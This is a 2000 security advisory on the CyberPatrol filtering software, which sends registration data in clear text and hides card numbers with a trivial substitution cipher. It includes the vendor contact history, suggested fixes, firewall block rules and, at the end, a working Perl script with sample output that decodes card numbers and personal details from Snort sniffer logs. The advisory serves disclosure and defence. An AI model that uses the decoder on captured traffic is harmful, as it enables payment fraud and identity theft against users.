CyberPatrol - poor credit card protection
SUMMARY
Product: Cyber Patrol
vunerable versions: 4.04.003 & 4.04.005 (possibly all other versions)
non-vunerable versions: unknown
Vendor: Microsys (formerly owned by Mattel, now JSB)
Vendor Contacted: Fri, 18 Aug 2000 11:52:20 -0500 (CDT)
Fixes: None available
Issue: All registration info except the credit
card # is sent in clear text, and the card
number is obfuscated with a trivial
substitution cipher.
Demonstration: A simple program written in Perl
is included with this advisory; given logs from the Snort
network sniffer, it will display full registration and
credit card information.
Authors: Joey Maier <[email protected]> and Dan Kaminsky <[email protected]>
Initial Research: Joey Maier <[email protected]>
BACKGROUND
CyberPatrol is a controversial but popular product for censoring family,
library, and corporate computer systems against (ostensibly) sexual,
hateful, or other forbidden categories of websites. (The liberties that
CyberPatrol has taken with these categories, combined with their extensive
legal actions against those who exposed such liberties, caused the Library
of Congress to enact a special exemption defending those who CyberPatrol's
authors were attacking. http://slashdot.org/yro/00/10/30/056213.shtml)
DETAILS
Registration for CyberPatrol is handled directly by the software,
rather than through an SSL-encrypted web interface. The client,
downloadable from http://www.cyberpatrol.com , presents the user
with a registration form requesting standard information as well.
Before any information is sent to Microsys, the client verifies
that the credit card number qualifies as a valid Luhn number[1].
Assuming it is, the client sends the registration information to
cybercentral.microsys.com (204.57.42.15) via normal http. (It
uses a POST request.) The email address, expiration date of
the credit card, name, address, and phone number are all sent
in clear text, without any attempt to obfuscate or encrypt.
(Please note that the form, which is illustrated at
http://www.cyberpatrol.com/trial/reg_sof.htm, claims that
"the above information will be scrambled before being sent".)
The credit card information is not much better off: It is sent
using an extraordinarily ineffective substitution cipher, equivalent
to that which may be found in the games pages of many newspapers.
This code is as follows:
0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s
The following is an example of a POST request which is destined
for cybercentral.microsys.com (the card number was generated for
this test only and was never submitted)
Similar information could be found in the logs of a corporate
or educational proxy administrator; the important thing to note is
the amount of personal information plainly visible along the right
side of the sniffed request.
Interestingly enough, it appears the client determines its own price. Oops.
All that is required for an attacker to retrieve this information is
for a sniffer to be placed upstream before 204.57.42.15, the IP address
of Microsys's servers. Microsys has no method in place to detect,
address, or reasonably frustrate such a sniffer.
METHODOLOGY
SUGGESTIONS
users:
Don't install this product until they fix their registration
process. If you must install this product, consider using
AntiSniff (http://www.l0pht.com/antisniff/) before hand to make
sure there are no unauthorized sniffers running on your local
network.
vendor:
You apparently lack cryptographic expertise onsite–accept this. Don't
go out and attempt to merge in a commercial crypto toolkit or even
OpenSSL–you don't have the time or the programming staff. Please,
take advantage of the widespread deployment of SSL in the browser and
have users register online through an SSL enabled form. Return a
trivially encrypted code for them to paste or type into their client.
I'd suggest adding a filetype or a MIMEType so users simply would have
to click on a link to register your software, but you'd both run the
risk of collisions and would have to be eternally vigilant against buffer
overflows in your registration code–not something you want. Your worst
case liability in this case is users stealing your software with forged
registration codes–bad, but not as bad as losing your merchant account.
It's just too easy for you to tell the OS to open a browser window to
https://cybercentral.microsys.com for you to not use that solution. Your
backend code won't even need to change–you just need to provide an HTML
page with matching a matching form to your client. If your server doesn't
already possess SSL support, you can install an SSL wrapper using the
crossplatform stunnel package.
HISTORY
On Aug. 8 I called their help line and talked to a guy named Fidel.
Very nice person, but he didn't listen to me. I said that registration
information was sent in clear text - along with detailed information
about your system configuration - and he insisted that they "scramble"
this information.
I uninstalled and reinstalled the product a few times, watched the
registration process, and decided that I needed to contact microsys
again, so I wrote an email explaining my concerns (clear text
registration info and what appeared to be a weak CC# scheme). This
email, and a snort log, were sent to the following vendor contact
addresses on Fri, 18 Aug 2000 11:52:20 -0500 (CDT):
>To: [email protected], [email protected], [email protected],
> [email protected], [email protected],
> [email protected], [email protected], [email protected],
> [email protected], [email protected],
> [email protected],[email protected], [email protected]
[…]
> He told me that you don't store email
> addresses or phone numbers with system information, and that any
> information from the client was scrambled. Obviously this is not
> true.
>
> While not a huge threat with the purchased version, the demo
> version allows you to enter your credit card #, and I suspect that
> it is sent the same way.
I got a canned response on Mon, 21 Aug 2000 08:11:59 -0500
saying to call 319-247-3333 if I had technical questions. I called
that day and talked to someone named Katie. She said her supervisor,
Juan, would contact the development team and get back to me. She said
they wanted to know how I had found this out. I had to explain what
a sniffer was. They assigned this issue to case # 1530436
Friday, 8-25-00
I called them to see what was happening, and was told "We're
researching it. We're trying to get a hold of development". I said
I needed a contact who would tell me what was being done about this,
so I knew something was being done. He said he'd email
development today, and that I should expect to hear something by
early next week.
They still haven't contacted me. [It is now 11-22-00]
RANTS
It is totally irresponsible for a software vendor to dump
security related issues to the same team of people who
help users with installation issues. When someone reports
a security vunerability, they should not have to talk to people
who don't know what a sniffer is; they should be given a way to
contact someone who understands the issue.
[Added by Dan Kaminsky] Like many other examples before it, this
case exemplifies how full disclosure in security vulnerabilities is
critical. I want to know if my car is unsafe at any speed–I want to
know if my food is poisonous–and I want to know if my software could
ruin my credit. The secrecy that a thankfully small number of vendors
pine for is merely the freedom to cut costs at their customer's expense,
secure in the knowledge that the legal system will punish any who would
dare to protect themselves and their fellow citizens. That's not
freedom. That's not justice. And in the end–it's not in those
vendors best interest: The backlash of heavy handed regulation they
threaten to spawn will outweigh any other benefits they might seek.
THANKS
Thanks to Dan Kaminsky for providing many of the ideas I
followed while researching this bug and writing this advisory.
Also, thanks to the people who coded the tools I used:
Martin Roesch (http://www.snort.org)
Theo and the rest of the OpenBSD team. (http://www.openbsd.org)
The IPF FAQ people (http://coombs.anu.edu.au/~avalon/)
WTI (CreditMaster)
[1] Credit cards are Luhn numbers. more info on the Luhn
Formula can be found at:
perl.about.com/compute/perl/library/weekly/aa080600a.htm
perl.about.com/compute/perl/library/weekly/aa073000a.htm
[2] Novell's BorderManager lacks advanced configurability.
block in on ne1 proto tcp from any to any
block in quick on ne1 proto tcp from any to any flags R
block out quick on ne1 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to any flags R
block out quick on ne0 proto tcp from any to any flags R
block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
DEMONSTRATION
Here's an example of the output from the perl script included below:
$ ./cpetrol.pl
[email protected]
CARD=4128624250251572
EXP=0502
NAME=Joey Maier
ADDR1=1600 Pennsylvania Ave. NW
ADDR2=
CITY=Washington | DC | 20500 |
PHONE=202 456 1414
#################################################
#################################################
#!/usr/bin/perl
$showline=0;
open(SNORT, "log");
LINE:while($line=<SNORT>){
@field=split /\s/, $line;
if($#field>0 && $#field<15){next LINE;}
if(!($line=~/\w/)){
$registerinfo=~s/\%20/ /g;
$registerinfo=~s/\%40/@/g;
($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
@array=split /\&/, $registerinfo;
if($array[0]=~/EMAIL/){print "$array[0]\n";}
if($array[1]=~/CARD/){print "CARD=";}
@chararray=split //, $array[1];
$arraylength=$#chararray;
for($i=0; $i<$arraylength+1; ++$i){
if($chararray[$i]=~/\%/){
$checkchar="$chararray[$i]";
$checkchar.="$chararray[$i+1]";
$checkchar.="$chararray[$i+2]";
$i=$i+2;
}
else{$checkchar="$chararray[$i]";}
if($checkchar=~/z/){print "0";}
elsif($checkchar=~/{/){print "1";}
elsif($checkchar=~/x/){print "2";}
elsif($checkchar=~/y/){print "3";}
elsif($checkchar=~/\%7E/){print "4";}
elsif($checkchar=~/\./){print "5";}
elsif($checkchar=~/\|/){print "6";}
elsif($checkchar=~/\}/){print "7";}
elsif($checkchar=~/r/){print "8";}
elsif($checkchar=~/s/){print "9";}
}
if($array[2]=~/EXP/){print "\n$array[2]\n";}
if($array[3]=~/NAME/){print "$array[3]\n";}
if($array[4]=~/ADDR1/){print "$array[4]\n";}
if($array[5]=~/ADDR2/){print "$array[5]\n";}
if($array[6]=~/CITY/){print "$array[6]\n";}
if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}
$registerinfo="";
$showline=0;
}
if($line=~/POST/){$showline=1}
if($showline eq 1){
($junk, $line)=split / /, $line;
chomp($line);
$registerinfo.=$line;
}
}